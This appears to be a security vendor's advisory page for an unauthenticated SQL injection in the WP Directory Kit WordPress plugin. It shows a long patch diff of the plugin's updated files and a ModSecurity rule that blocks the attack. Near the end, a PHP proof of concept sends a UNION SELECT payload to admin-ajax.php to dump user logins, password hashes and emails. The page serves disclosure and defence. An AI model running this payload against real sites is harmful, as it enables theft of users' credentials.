+                                            src="<?php echo esc_url($image); ?>" width="100%" frameborder="0" allowfullscreen
+                                            class="wdk-listing-image <?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height <?php endif; ?>"></iframe>
+                                    <?php endif; ?>
+
+                                </div>
+                            </div>
+                        <?php elseif (!wmvc_show_data('wdk_listing_video_disabled', $settings, false) && wdk_file_extension_type(wmvc_show_data('src', $image)) == 'video'): ?>
+                            <div class="wdk-col">
+                                <div class="wdk-listing-image-card">
+                                    <video data-type="<?php echo esc_html($type); ?>" controls src="<?php echo esc_url(wmvc_show_data('src', $image)); ?>" alt="<?php echo esc_attr(wmvc_show_data('alt', $image)); ?>" class="wdk-listing-image <?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height <?php endif; ?>"></video>
                                 </div>
-                            <?php elseif(wdk_file_extension_type(wmvc_show_data('src',$image)) == 'image'):?>
-                                <div class="banner-thumb">
-                                    <img src="<?php echo esc_url(wmvc_show_data('src',$image));?>" class="wdk-listing-image <?php if($settings['enable_fixed_height']!='yes'):?> auto_height <?php endif;?>" alt="<?php echo esc_attr(wmvc_show_data('alt',$image));?>">
+                            </div>
+                        <?php elseif (wdk_file_extension_type(wmvc_show_data('src', $image)) == 'image'): ?>
+                            <div class="wdk-col">
+                                <div class="wdk-listing-image-card">
+                                    <img
+                                        data-type="<?php echo esc_html($type); ?>"
+                                        src="<?php echo esc_url(wmvc_show_data('src', $image)); ?>"
+                                        class="wdk-listing-image<?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height<?php endif; ?>"
+                                        alt="<?php echo esc_attr(wmvc_show_data('alt', $image)); ?>">
                                 </div>
-                            <?php endif;?>
-                        <?php endforeach;?>
-                    </div><!--banner-thumbs end-->
+                            </div>
+                        <?php endif; ?>
+                    <?php endforeach; ?>
+
+                    <?php if (!empty($images) && wmvc_show_data('layout_carousel_columns', $settings, 1) < wmvc_count($images)): ?>
+                </div>
+                <div class="wdk-listing-slider_arrows">
+                    <a title="<?php echo esc_attr__('prev slider', 'wpdirectorykit'); ?>" href="#" class="wdk-slider-prev wdk-listing-slider_arrow">
+                        <?php ElementorIcons_Manager::render_icon($settings['styles_carousel_arrows_icon_left'], ['aria-hidden' => 'true']); ?>
+                    </a>
+                    <a title="<?php echo esc_attr__('prev slider', 'wpdirectorykit'); ?>" href="#" class="wdk-slider-next wdk-listing-slider_arrow">
+                        <?php ElementorIcons_Manager::render_icon($settings['styles_carousel_arrows_icon_right'], ['aria-hidden' => 'true']); ?>
+                    </a>
                 </div>
             </div>
-        <?php endif;?>
+        <?php else: ?>
     </div>
-    <script>
-        jQuery(document).ready(function($){
-            $('#wdk_el_<?php echo esc_html($id_element);?> .wdk_listing_slider_ini').slick({
-                <?php if(!empty($images) && wmvc_show_data('layout_carousel_columns', $settings,1) < wmvc_count($images)):?>
+</div>
+<?php endif; ?>
+<?php endif; ?>
+
+<?php if (count($images) > 1): ?>
+    <div class="banner-thumbs-con elementor-section elementor-section-boxed">
+        <div class="elementor-container">
+            <div class="banner-thumbs">
+                <?php foreach ($images as $key => $image): ?>
+                    <?php
+                    $type = 'gallery';
+                    if (strpos($key, '__') !== FALSE) {
+                        $type = substr($key, 0, strpos($key, '__'));
+                    }
+                    ?>
+
+                    <?php if (
+                        is_string($image) && (
+                            filter_var($image, FILTER_VALIDATE_URL) ||
+                            preg_match('/^www./i', $image)
+                        )
+                    ): ?>
+
+                    <?php elseif (!wmvc_show_data('wdk_listing_video_disabled', $settings, false) && wdk_file_extension_type(wmvc_show_data('src', $image)) == 'video'): ?>
+                        <div class="banner-thumb">
+                            <video data-type="<?php echo esc_html($type); ?>" src="<?php echo esc_url(wmvc_show_data('src', $image)); ?>" alt="<?php echo esc_attr(wmvc_show_data('alt', $image)); ?>" class="wdk-listing-image <?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height <?php endif; ?>"></video>
+                        </div>
+                    <?php elseif (wdk_file_extension_type(wmvc_show_data('src', $image)) == 'image'): ?>
+                        <div class="banner-thumb">
+                            <img data-type="<?php echo esc_html($type); ?>" src="<?php echo esc_url(wmvc_show_data('src', $image)); ?>" class="wdk-listing-image <?php if ($settings['enable_fixed_height'] != 'yes'): ?> auto_height <?php endif; ?>" alt="<?php echo esc_attr(wmvc_show_data('alt', $image)); ?>">
+                        </div>
+                    <?php endif; ?>
+                <?php endforeach; ?>
+            </div><!--banner-thumbs end-->
+        </div>
+    </div>
+<?php endif; ?>
+</div>
+<script>
+    var $slider, $thumbs, sliderSelector, thumbsSelector;
+    jQuery(document).ready(function($) {
+        sliderSelector = '#wdk_el_<?php echo esc_html($id_element); ?> .wdk_listing_slider_ini';
+        thumbsSelector = '#wdk_el_<?php echo esc_html($id_element); ?> .banner-thumbs';
+
+        // Initialize main slider and thumbs
+        $slider = $(sliderSelector).slick({
+            <?php if (!empty($images) && wmvc_show_data('layout_carousel_columns', $settings, 1) < wmvc_count($images)): ?>
                 dots: true,
                 arrows: true,
-                <?php else:?>
+            <?php else: ?>
                 dots: false,
                 arrows: false,
-                <?php endif;?>
-                slidesToShow: <?php echo wmvc_show_data('layout_carousel_columns', $settings, 1);?>,
-                slidesToScroll: <?php echo wmvc_show_data('layout_carousel_columns', $settings,1);?>,
-                <?php if(!empty(wmvc_show_data('layout_carousel_is_infinite', $settings))):?>
-                infinite: <?php echo wmvc_show_data('layout_carousel_is_infinite', $settings, 'true');?>,
-                <?php endif;?>
-                <?php if(!empty(wmvc_show_data('layout_carousel_is_autoplay', $settings))):?>
-                autoplay: <?php echo wmvc_show_data('layout_carousel_is_autoplay', $settings, 'false');?>,
-                <?php endif;?>
-                nextArrow: $('#wdk_el_<?php echo esc_html($id_element);?> .wdk-listing-slider_arrows .wdk-slider-next'),
-                prevArrow: $('#wdk_el_<?php echo esc_html($id_element);?> .wdk-listing-slider_arrows .wdk-slider-prev'),
-                customPaging: function(slider, i) {
-                    // this example would render "tabs" with titles
-                    return '<span class="wdk_lr_dot"><?php ElementorIcons_Manager::render_icon( $settings['styles_carousel_dots_icon'], [ 'aria-hidden' => 'true' ] ); ?></span>';
+            <?php endif; ?>
+            slidesToShow: <?php echo wmvc_show_data('layout_carousel_columns', $settings, 1); ?>,
+            slidesToScroll: <?php echo wmvc_show_data('layout_carousel_columns', $settings, 1); ?>,
+            <?php if (!empty(wmvc_show_data('layout_carousel_is_infinite', $settings))): ?>
+                infinite: <?php echo wmvc_show_data('layout_carousel_is_infinite', $settings, 'true'); ?>,
+            <?php endif; ?>
+            <?php if (!empty(wmvc_show_data('layout_carousel_is_autoplay', $settings))): ?>
+                autoplay: <?php echo wmvc_show_data('layout_carousel_is_autoplay', $settings, 'false'); ?>,
+            <?php endif; ?>
+            nextArrow: $('#wdk_el_<?php echo esc_html($id_element); ?> .wdk-listing-slider_arrows .wdk-slider-next'),
+            prevArrow: $('#wdk_el_<?php echo esc_html($id_element); ?> .wdk-listing-slider_arrows .wdk-slider-prev'),
+            customPaging: function(slider, i) {
+                return '<span class="wdk_lr_dot"><?php ElementorIcons_Manager::render_icon($settings['styles_carousel_dots_icon'], ['aria-hidden' => 'true']); ?></span>';
+            },
+            responsive: [{
+                breakpoint: 600,
+                settings: {
+                    slidesToShow: 1,
+                    slidesToScroll: 1
+                }
+            }, ],
+            // asNavFor: thumbsSelector,
+        });
+
+        $thumbs = $(thumbsSelector).slick({
+            slidesToShow: <?php echo (!empty(trim(wmvc_show_data('styles_thmbn_nav_columns', $settings, '4')))) ? wmvc_show_data('styles_thmbn_nav_columns', $settings, '4') : 4; ?>,
+            slidesToScroll: 1,
+            //asNavFor: sliderSelector,
+            dots: false,
+            centerMode: false,
+            arrows: false,
+            focusOnSelect: true,
+            responsive: [{
+                    breakpoint: 991,
+                    settings: {
+                        slidesToShow: <?php echo (!empty(trim(wmvc_show_data('styles_thmbn_nav_columns_tablet', $settings, '3')))) ? wmvc_show_data('styles_thmbn_nav_columns_tablet', $settings, '3') : 3; ?>,
+                    }
                 },
-                responsive: [
-                    {
-                    breakpoint: 600,
+                {
+                    breakpoint: 768,
                     settings: {
-                            slidesToShow: 1,
-                            slidesToScroll: 1
-                        }
-                    },
-                ],
-                asNavFor: '#wdk_el_<?php echo esc_html($id_element);?> .banner-thumbs',
-            })
-
-            $('#wdk_el_<?php echo esc_html($id_element);?> .banner-thumbs').slick({
-                slidesToShow: <?php echo (!empty(trim(wmvc_show_data('styles_thmbn_nav_columns', $settings, '4')))) ? wmvc_show_data('styles_thmbn_nav_columns', $settings, '4') : 4;?>,
-                slidesToScroll: 1,
-                asNavFor: '#wdk_el_<?php echo esc_html($id_element);?> .wdk_listing_slider_ini',
-                dots: false,
-                centerMode: false,
-                dots: false,
-                arrows: false,
-                focusOnSelect: true,
-                responsive: [
-                    {
-                        breakpoint: 991,
-                        settings: {
-                            slidesToShow: <?php echo (!empty(trim(wmvc_show_data('styles_thmbn_nav_columns_tablet', $settings, '3')))) ? wmvc_show_data('styles_thmbn_nav_columns_tablet', $settings, '3') : 3;?>,
-                        }
-                    },
-                    {
-                        breakpoint: 768,
-                        settings: {
-                            slidesToShow: <?php echo (!empty(trim(wmvc_show_data('styles_thmbn_nav_columns_mobile', $settings, '2')))) ? wmvc_show_data('styles_thmbn_nav_columns_mobile', $settings, '2') : 2;?>,
-                        }
-                    },
-                ]
-            });
+                        slidesToShow: <?php echo (!empty(trim(wmvc_show_data('styles_thmbn_nav_columns_mobile', $settings, '2')))) ? wmvc_show_data('styles_thmbn_nav_columns_mobile', $settings, '2') : 2; ?>,
+                    }
+                },
+            ]
+        });
+        $slider.on('afterChange', function(event, slick, currentSlide) {
+            $thumbs.slick('slickGoTo', currentSlide);
+        });

-        })
-    </script>
-</div>
+        $(thumbsSelector).on('click', '.slick-slide', function() {
+            var index = $(this).data('slick-index');
+            console.log(index);
+            var index = $(this).index('.slick-slide:not(.slick-cloned)');
+            console.log(index);
+
+            $slider.slick('slickGoTo', index);
+        });
+        $slider.on('afterChange', function(event, slick, currentSlide) {
+
+            $thumbs.find('.slick-slide').removeClass('is-active');
+
+            $thumbs.find('.slick-slide[data-slick-index="' + currentSlide + '"]').addClass('is-active');
+
+        });
+
+
+
+        $(document).on('click', '[data-filter]', function(e) {
+            e.preventDefault();
+
+            var $btn = $(this);
+            var filterType = $btn.data('filter');
+            var isActive = $btn.hasClass('active');
+
+            $('[data-filter]').removeClass('active');
+
+            $slider.slick('slickUnfilter');
+            $thumbs.slick('slickUnfilter');
+
+            if (!isActive && filterType !== 'all') {
+
+                $btn.addClass('active');
+
+                $slider.slick('slickFilter', function() {
+                    return $(this).find('.wdk-listing-image').data('type') === filterType;
+                });

+                $thumbs.slick('slickFilter', function() {
+                    return $(this).find('.wdk-listing-image,video,iframe').data('type') === filterType;
+                });
+            }
+        });
+    })
+</script>
+</div>
 No newline at end of file
--- a/wpdirectorykit/filters.php
+++ b/wpdirectorykit/filters.php
@@ -511,14 +511,16 @@
 *  configuration number_format_i18n
 */
 add_filter('init', function($init){
-    if(get_option('wdk_number_format_decimal_point') || get_option('wdk_number_format_thousands_sep')) {
-        global $wp_locale;
-        if(get_option('wdk_number_format_decimal_point'))
-            $wp_locale->number_format['decimal_point'] = get_option('wdk_number_format_decimal_point');
-
-        if(get_option('wdk_number_format_thousands_sep'))
-            $wp_locale->number_format['thousands_sep'] = get_option('wdk_number_format_thousands_sep');
-    }
+
+    if(!get_option('wdk_disable_custom_muber_format'))
+        if(get_option('wdk_number_format_decimal_point') || get_option('wdk_number_format_thousands_sep')) {
+            global $wp_locale;
+            if(get_option('wdk_number_format_decimal_point'))
+                $wp_locale->number_format['decimal_point'] = get_option('wdk_number_format_decimal_point');
+
+            if(get_option('wdk_number_format_thousands_sep'))
+                $wp_locale->number_format['thousands_sep'] = get_option('wdk_number_format_thousands_sep');
+        }
 });

 add_filter( 'wdk/listings/results', function($listings) {
@@ -536,5 +538,15 @@
     }

     return $listings;
-} )
+} );
+
+add_filter('body_class', function($classes){
+
+    if(isset($_GET['popup'])){
+        $classes[] = 'popup-mode';
+    }
+
+    return $classes;
+
+});
 ?>
 No newline at end of file
--- a/wpdirectorykit/public/class-wpdirectorykit-public.php
+++ b/wpdirectorykit/public/class-wpdirectorykit-public.php
@@ -223,15 +223,12 @@


 		if( wdk_get_option('wdk_experimental_features') && wdk_get_option('wdk_experimental_listing_popup')) {
-			wp_register_script('wdk-popup-listings', plugin_dir_url( __FILE__ ).'js/wdk-popup-listings.js', array( 'jquery' ), '1.0', false );
+			wp_register_script('wdk-popup-listings', plugin_dir_url( __FILE__ ).'js/wdk-popup-listings.js', array( 'jquery', 'jquery-confirm' ), '1.0', false );
 			wp_enqueue_script('wdk-popup-listings');
+			wp_enqueue_style('jquery-confirm');
         }
-
-		$params = array(
-            'ajax_url' => admin_url( 'admin-ajax.php' )
-        );
+
 		wp_register_script('wdk-treefield-dropdown', plugin_dir_url( __FILE__ ).'js/wdk_treefield_dropdown/wdk_treefield_dropdown.js', array( 'jquery' ), '1.0', false );
-		wp_localize_script( 'wdk-treefield-dropdown', 'script_parameters', $params);

 		wp_register_script('jquery-confirm', plugin_dir_url( __FILE__ ).'js/jquery-confirm/js/jquery-confirm.js', array( 'jquery' ), '3.3.4', false );

@@ -261,10 +258,16 @@
 				"read_more"=> esc_html__("Read More", 'wpdirectorykit'),
 				"read_less"=> esc_html__("Read Less", 'wpdirectorykit'),
 			),
+			'wpApiSettings' => [
+				'root'=> esc_url_raw(rest_url()),
+				'nonce'=> wp_create_nonce('wp_rest'),
+				'wdk_secure_nonce'=> wp_create_nonce('wdk_secure_ajax'),
+			]
         );

 		wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/wpdirectorykit-public.js', array( 'jquery' ), $this->version, false );
         wp_localize_script( $this->plugin_name, 'script_parameters', $params);
+        wp_localize_script( $this->plugin_name, 'wdk_script_parameters', $params);

 		wp_register_style('jquery-ui', WPDIRECTORYKIT_URL. 'public/css/jquery-ui.css', array(), '1.12.1' );

--- a/wpdirectorykit/tgm-pa/class-tgm-plugin-activation.php
+++ b/wpdirectorykit/tgm-pa/class-tgm-plugin-activation.php
@@ -1,5 +1,4 @@
 <?php
-
 /**
  * Plugin installation and activation for WordPress themes.
  *
@@ -33,2189 +32,2127 @@
 	Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

-if (! class_exists('TGM_Plugin_Activation')) {
+if ( ! class_exists( 'TGM_Plugin_Activation' ) ) {

-    /**
-     * Automatic plugin installation and activation library.
-     *
-     * Creates a way to automatically install and activate plugins from within themes.
-     * The plugins can be either bundled, downloaded from the WordPress
-     * Plugin Repository or downloaded from another external source.
-     *
-     * @since 1.0.0
-     *
-     * @package TGM-Plugin-Activation
-     * @author  Thomas Griffin
-     * @author  Gary Jones
-     */
-    class TGM_Plugin_Activation
-    {
-        /**
-         * TGMPA version number.
-         *
-         * @since 2.5.0
-         *
-         * @const string Version number.
-         */
-        const TGMPA_VERSION = '2.6.1';
-
-        /**
-         * Regular expression to test if a URL is a WP plugin repo URL.
-         *
-         * @const string Regex.
-         *
-         * @since 2.5.0
-         */
-        const WP_REPO_REGEX = '|^http[s]?://wordpress.org/(?:extend/)?plugins/|';
-
-        /**
-         * Arbitrary regular expression to test if a string starts with a URL.
-         *
-         * @const string Regex.
-         *
-         * @since 2.5.0
-         */
-        const IS_URL_REGEX = '|^http[s]?://|';
-
-        /**
-         * Holds a copy of itself, so it can be referenced by the class name.
-         *
-         * @since 1.0.0
-         *
-         * @var TGM_Plugin_Activation
-         */
-        public static $instance;
-
-        /**
-         * Holds arrays of plugin details.
-         *
-         * @since 1.0.0
-         * @since 2.5.0 the array has the plugin slug as an associative key.
-         *
-         * @var array
-         */
-        public $plugins = array();
-
-        /**
-         * Holds arrays of plugin names to use to sort the plugins array.
-         *
-         * @since 2.5.0
-         *
-         * @var array
-         */
-        protected $sort_order = array();
-
-        /**
-         * Whether any plugins have the 'force_activation' setting set to true.
-         *
-         * @since 2.5.0
-         *
-         * @var bool
-         */
-        protected $has_forced_activation = false;
-
-        /**
-         * Whether any plugins have the 'force_deactivation' setting set to true.
-         *
-         * @since 2.5.0
-         *
-         * @var bool
-         */
-        protected $has_forced_deactivation = false;
-
-        /**
-         * Name of the unique ID to hash notices.
-         *
-         * @since 2.4.0
-         *
-         * @var string
-         */
-        public $id = 'wpdirectorykit';
-
-        /**
-         * Name of the query-string argument for the admin page.
-         *
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        protected $menu = 'tgmpa-install-plugins';
-
-        /**
-         * Parent menu file slug.
-         *
-         * @since 2.5.0
-         *
-         * @var string
-         */
-        public $parent_slug = 'themes.php';
-
-        /**
-         * Capability needed to view the plugin installation menu item.
-         *
-         * @since 2.5.0
-         *
-         * @var string
-         */
-        public $capability = 'edit_theme_options';
-
-        /**
-         * Default absolute path to folder containing bundled plugin zip files.
-         *
-         * @since 2.0.0
-         *
-         * @var string Absolute path prefix to zip file location for bundled plugins. Default is empty string.
-         */
-        public $default_path = '';
-
-        /**
-         * Flag to show admin notices or not.
-         *
-         * @since 2.1.0
-         *
-         * @var boolean
-         */
-        public $has_notices = true;
-
-        /**
-         * Flag to determine if the user can dismiss the notice nag.
-         *
-         * @since 2.4.0
-         *
-         * @var boolean
-         */
-        public $dismissable = true;
-
-        /**
-         * Message to be output above nag notice if dismissable is false.
-         *
-         * @since 2.4.0
-         *
-         * @var string
-         */
-        public $dismiss_msg = '';
-
-        /**
-         * Flag to set automatic activation of plugins. Off by default.
-         *
-         * @since 2.2.0
-         *
-         * @var boolean
-         */
-        public $is_automatic = false;
-
-        /**
-         * Optional message to display before the plugins table.
-         *
-         * @since 2.2.0
-         *
-         * @var string Message filtered by wp_kses_post(). Default is empty string.
-         */
-        public $message = '';
-
-        /**
-         * Holds configurable array of strings.
-         *
-         * Default values are added in the constructor.
-         *
-         * @since 2.0.0
-         *
-         * @var array
-         */
-        public $strings = array();
-
-        /**
-         * Holds the version of WordPress.
-         *
-         * @since 2.4.0
-         *
-         * @var int
-         */
-        public $wp_version;
-
-        /**
-         * Holds the hook name for the admin page.
-         *
-         * @since 2.5.0
-         *
-         * @var string
-         */
-        public $page_hook;
-
-        /**
-         * Adds a reference of this object to $instance, populates default strings,
-         * does the tgmpa_init action hook, and hooks in the interactions to init.
-         *
-         * {@internal This method should be `protected`, but as too many TGMPA implementations
-         * haven't upgraded beyond v2.3.6 yet, this gives backward compatibility issues.
-         * Reverted back to public for the time being.}}
-         *
-         * @since 1.0.0
-         *
-         * @see TGM_Plugin_Activation::init()
-         */
-        public function __construct()
-        {
-            // Set the current WordPress version.
-            $this->wp_version = $GLOBALS['wp_version'];
+	/**
+	 * Automatic plugin installation and activation library.
+	 *
+	 * Creates a way to automatically install and activate plugins from within themes.
+	 * The plugins can be either bundled, downloaded from the WordPress
+	 * Plugin Repository or downloaded from another external source.
+	 *
+	 * @since 1.0.0
+	 *
+	 * @package TGM-Plugin-Activation
+	 * @author  Thomas Griffin
+	 * @author  Gary Jones
+	 */
+	class TGM_Plugin_Activation {
+		/**
+		 * TGMPA version number.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @const string Version number.
+		 */
+		const TGMPA_VERSION = '2.6.1';
+
+		/**
+		 * Regular expression to test if a URL is a WP plugin repo URL.
+		 *
+		 * @const string Regex.
+		 *
+		 * @since 2.5.0
+		 */
+		const WP_REPO_REGEX = '|^http[s]?://wordpress.org/(?:extend/)?plugins/|';
+
+		/**
+		 * Arbitrary regular expression to test if a string starts with a URL.
+		 *
+		 * @const string Regex.
+		 *
+		 * @since 2.5.0
+		 */
+		const IS_URL_REGEX = '|^http[s]?://|';
+
+		/**
+		 * Holds a copy of itself, so it can be referenced by the class name.
+		 *
+		 * @since 1.0.0
+		 *
+		 * @var TGM_Plugin_Activation
+		 */
+		public static $instance;
+
+		/**
+		 * Holds arrays of plugin details.
+		 *
+		 * @since 1.0.0
+		 * @since 2.5.0 the array has the plugin slug as an associative key.
+		 *
+		 * @var array
+		 */
+		public $plugins 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-39531
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-39531 WP Directory Kit SQL Injection via filter_ids',severity:'CRITICAL',tag:'CVE-2026-39531'"
  SecRule ARGS_POST:action "@rx ^wdk_" "chain"
    SecRule ARGS_POST:filter_ids "@rx [^0-9,]" "t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39531 - WP Directory Kit <= 1.5.0 - Unauthenticated SQL Injection

$target_url = 'http://example.com'; // CHANGE THIS

$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// SQL injection payload: breaks out of IN clause and UNION selects user passwords
$payload = "1) UNION SELECT user_login,user_pass,user_email,display_name,user_registered FROM wp_users-- ";

$post_data = array(
    'action' => 'wdk_listing_filter',   // Example action that uses filter_ids; adjust if needed
    'filter_ids' => $payload
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch) . "n";
} else {
    echo 'Response:n' . $response . "n";
}
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School